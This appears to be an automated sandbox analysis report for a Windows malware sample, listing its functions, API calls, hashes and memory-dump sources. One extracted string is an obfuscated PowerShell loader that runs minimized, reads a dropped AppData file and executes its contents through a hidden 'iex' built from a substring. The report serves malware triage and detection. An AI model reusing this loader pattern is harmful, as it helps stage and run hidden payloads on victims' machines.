Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f482201699af14bb3cd10cc7f775e8512ddaef9db8a966204fce1aae5b262981
Instruction ID: 3e902398f65232741f3d3f2c7f6467c21586f7f50b1ebc0ee674bbd924b4c7fc
Opcode Fuzzy Hash: f482201699af14bb3cd10cc7f775e8512ddaef9db8a966204fce1aae5b262981
Instruction Fuzzy Hash: FA714671E00228CFDF28CF98C8447ADBBB1FB44305F15806AD856BB281D7789A96DF44

Function 004064A0 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a381668fc57e9f6ced01437e848a6b2accfb19374870d44d6b2c2291bed7b2e
Instruction ID: 9020e7499a55ede5867a2e11e25a0f248b5ba7faeda0d39cd9abe089b181c94d
Opcode Fuzzy Hash: 9a381668fc57e9f6ced01437e848a6b2accfb19374870d44d6b2c2291bed7b2e
Instruction Fuzzy Hash: C5715671E00229CFEF28CF98C8447ADBBB1FB44305F15806AD856BB281D7789A96DF44

Function 00401B11 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401B80
GlobalAlloc.KERNELBASE(00000040,00000404), ref: 00401B92

Strings

"powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" , xrefs: 00401B38, 00401B3E, 00401B58

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Global$AllocFree
String ID: "powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)"
API String ID: 3394109436-4270804791
Opcode ID: f983ec3719a1a8e88d4ca7a85c56023cf217921ff501aa1341a47d20b584023b
Instruction ID: c19e8536c9ce0dfe35df53e9a23eb4e19a87b6fb9319daf77eae0ba7aa7f10da
Opcode Fuzzy Hash: f983ec3719a1a8e88d4ca7a85c56023cf217921ff501aa1341a47d20b584023b
Instruction Fuzzy Hash: E82181B2A04210ABD710ABA48A85A5E72B9DB44314724857BF502F32D1E7BCB9118B5E

Function 0040218A Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405EC1: FindFirstFileA.KERNELBASE(?,00421528,004210E0,0040577E,004210E0,004210E0,00000000,004210E0,004210E0,?,?,75573410,0040549D,?,C:\Users\user\AppData\Local\Temp\,75573410), ref: 00405ECC
Part of subcall function 00405EC1: FindClose.KERNELBASE(00000000), ref: 00405ED8

lstrlenA.KERNEL32 ref: 004021CA
lstrlenA.KERNEL32(00000000), ref: 004021D4
SHFileOperationA.SHELL32(?,?,?,00000000), ref: 004021FC

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: d0cebf27123968e459ae3688530c4f16074f2601d8e216c36dd5cae8460ef4d3
Instruction ID: 429bd435e4f29a5e27201e76843987645eaf4782e74f669dd4e41dbb99aff123
Opcode Fuzzy Hash: d0cebf27123968e459ae3688530c4f16074f2601d8e216c36dd5cae8460ef4d3
Instruction Fuzzy Hash: 601133B1D04309AADB00EFB5CA4999EB7F9AF01304F14853BA505FB2C2D6BCD901DB69

Function 00401E32 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404EA6: lstrlenA.KERNEL32(Completed,00000000,0040E888,00000000,?,?,?,?,?,?,?,?,?,00402F92,00000000,?), ref: 00404EDF
Part of subcall function 00404EA6: lstrlenA.KERNEL32(00402F92,Completed,00000000,0040E888,00000000,?,?,?,?,?,?,?,?,?,00402F92,00000000), ref: 00404EEF
Part of subcall function 00404EA6: lstrcatA.KERNEL32(Completed,00402F92,00402F92,Completed,00000000,0040E888,00000000), ref: 00404F02
Part of subcall function 00404EA6: SetWindowTextA.USER32(Completed,Completed), ref: 00404F14
Part of subcall function 00404EA6: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F3A
Part of subcall function 00404EA6: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F54
Part of subcall function 00404EA6: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F62

Part of subcall function 0040536C: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,004214E0,Error launching installer), ref: 00405395
Part of subcall function 0040536C: CloseHandle.KERNEL32(?), ref: 004053A2

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E6C
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E7C
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EA1

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: 460d54ed7fdcbdaf34342ef30049eeeaa53f78b702f2e670eb354b9bfbb19352
Instruction ID: 002f7fb6c641edc4c9e1c43034261a5554d3377b2f1f1ae98a311fa9132adf51
Opcode Fuzzy Hash: 460d54ed7fdcbdaf34342ef30049eeeaa53f78b702f2e670eb354b9bfbb19352
Instruction Fuzzy Hash: 21016D71904114FBCF20AFA1DD859AE7B71EB40344F14847BFA01B51E0C37C5A81DBAA

Function 00405AA4 Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,00405CE9,00000000,00000002,?,00000002,?,?,00405CE9,80000002,Software\Microsoft\Windows\CurrentVersion,?,: Completed,?), ref: 00405ACD
RegQueryValueExA.KERNELBASE(?,?,00000000,00405CE9,?,00405CE9), ref: 00405AEE
RegCloseKey.KERNELBASE(?), ref: 00405B0F

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: a7dc294ab98d1aedf48ab84cf89b8b0d9a3be53888eb2216a8b2e534b80ab0d4
Instruction ID: bd87ec550333214892aadd2865629ce231d6a2c68cbcf8666acf0199ad1a476e
Opcode Fuzzy Hash: a7dc294ab98d1aedf48ab84cf89b8b0d9a3be53888eb2216a8b2e534b80ab0d4
Instruction Fuzzy Hash: 6A01487114020AEFDB22CF64ED44AEB3FACEF14354F004026F905A6260D235E964CBA5

Function 0040243A Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B07: RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B2F

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402468
RegEnumValueA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 0040247B
RegCloseKey.ADVAPI32(?,?,?,noncontamination\lftebevgelse\,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402490

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: c3898ecfa7699d7de0da3c96e56fdfea5a8e72b292a63302a9467dbfd1221bd5
Instruction ID: ea0f8bb5b2539548621220bc90554a9af61e98564e095efd323173a2c2703bf4
Opcode Fuzzy Hash: c3898ecfa7699d7de0da3c96e56fdfea5a8e72b292a63302a9467dbfd1221bd5
Instruction Fuzzy Hash: 57F081B2A04204FFE7119F659E8CEBF7A6CEB40748F10853EF441B62C0D6B95E41966A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b1266aa11e643af42e09abacd7039328ff80c1a9d1715c4620ec2c771a0149d8
Instruction ID: debc39b6c0c0c652093bc86d0143b21aa6e0fee53ad258223395c8adf4e96fc0
Opcode Fuzzy Hash: b1266aa11e643af42e09abacd7039328ff80c1a9d1715c4620ec2c771a0149d8
Instruction Fuzzy Hash: 69012831724210ABE7294B789D04B6A3698FB10315F11853BF851F72F1D6B8DC029B5D

Function 00404F78 Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00404F88

Part of subcall function 00403EBF: SendMessageA.USER32(00010458,00000000,00000000,00000000), ref: 00403ED1

CoUninitialize.COMBASE(00000404,00000000), ref: 00404FD4

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: 95ed032086cd7b7ec3909f283eb43c8662eae8242282bbae4cb2665158c72c3f
Instruction ID: 554e4b24135bb6da8e7d05b9f53d795516d0805debc7cba95de8ce4b0c419bda
Opcode Fuzzy Hash: 95ed032086cd7b7ec3909f283eb43c8662eae8242282bbae4cb2665158c72c3f
Instruction Fuzzy Hash: AEF024F2A042029AD7212F449D01B1677B4EBD0306F05857AFF08732E0C33D5902866D

Function 0040584E Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402C69,C:\Users\user\Desktop\HVSU7GbA5N.exe,80000000,00000003), ref: 00405852
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405874

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 8e2162a352c9b3d6bf888d6bdf81e716fa6f6f9a74e85dd2386317c2044df056
Instruction ID: 6507fbbaaec62448b9ae143b35cf90270df4f7fb8743d38c88d9b601ce0c16fe
Opcode Fuzzy Hash: 8e2162a352c9b3d6bf888d6bdf81e716fa6f6f9a74e85dd2386317c2044df056
Instruction Fuzzy Hash: 30D09E71658301AFEF098F20DE16F2E7AA2EB84B01F10562CB642940E0D6715C15DB16

Function 00405829 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,00405441,?,?,00000000,00405624,?,?,?,?), ref: 0040582E
SetFileAttributesA.KERNEL32(?,00000000), ref: 00405842

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9001e84463e5b3d4dd00ca1d2e00f3bb66c1d6c16300b22364f3152d7eb201de
Instruction ID: 288d8d8f9d8fe744cb80d7443cee80a3ea5bd4e337ee5555e0f2e4cd48392136
Opcode Fuzzy Hash: 9001e84463e5b3d4dd00ca1d2e00f3bb66c1d6c16300b22364f3152d7eb201de
Instruction Fuzzy Hash: 2AD0C972908120ABC2102728AD0889BBB55EB542717018B31FC65A22B0C7304C62CAA5

Function 0040223B Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 00402274

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 9ff6483e56f83e050050973c75d29e7e6846100e3a8c6593062fb544488b0e4d
Instruction ID: 05d4d75dbd01593bae97f630dbecede8c42f44da552b6d0f9ca4defc7305ba5b
Opcode Fuzzy Hash: 9ff6483e56f83e050050973c75d29e7e6846100e3a8c6593062fb544488b0e4d
Instruction Fuzzy Hash: 2FE04F72B001696ADB903AF18F8DD7F21597B84304F15067EF611B62C2D9BC0D81A2B9

Function 00402B07 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B2F

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 59767c2edb534c3f58a8ee372d4634957363a65fc0f8af2da0bcbdd5c2bc752e
Instruction ID: 692d63f4e87c936e9446e8fa18252424463a9f70da0c26dc4546bcf220c6e71a
Opcode Fuzzy Hash: 59767c2edb534c3f58a8ee372d4634957363a65fc0f8af2da0bcbdd5c2bc752e
Instruction Fuzzy Hash: D7E08CB6250108BFDB40EFA4EE4BFA637ECFB14704F00C121BA08E7091CA78E5109B68

Function 004058C6 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403068,00000000,00000000,00402EAE,000000FF,00000004,00000000,00000000,00000000), ref: 004058DA

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction ID: 18ab15d3875c8aca8147d786b71a19f163cd1be083ac94134eb356fb97c53e98
Opcode Fuzzy Hash: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction Fuzzy Hash: 9FE0EC3361425AEFDF10AE659C04AEB7B6CEF05360F008433FD15E2150D231E921EBA9

Function 00401595 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bad0cb919f859e81d349d5dba00592a48f68b19ab23d0192a814859a48de207d
Instruction ID: 9169326a2aec8439feca5866952fa18bd92df46eb8b4a67c681bb8a0ef40d438
Opcode Fuzzy Hash: bad0cb919f859e81d349d5dba00592a48f68b19ab23d0192a814859a48de207d
Instruction Fuzzy Hash: CDD01277B08114E7DB00EBB9AE48A9E73A4FB50325F208637D111F11D0D3B98551EA29

Function 00403EBF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00010458,00000000,00000000,00000000), ref: 00403ED1

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
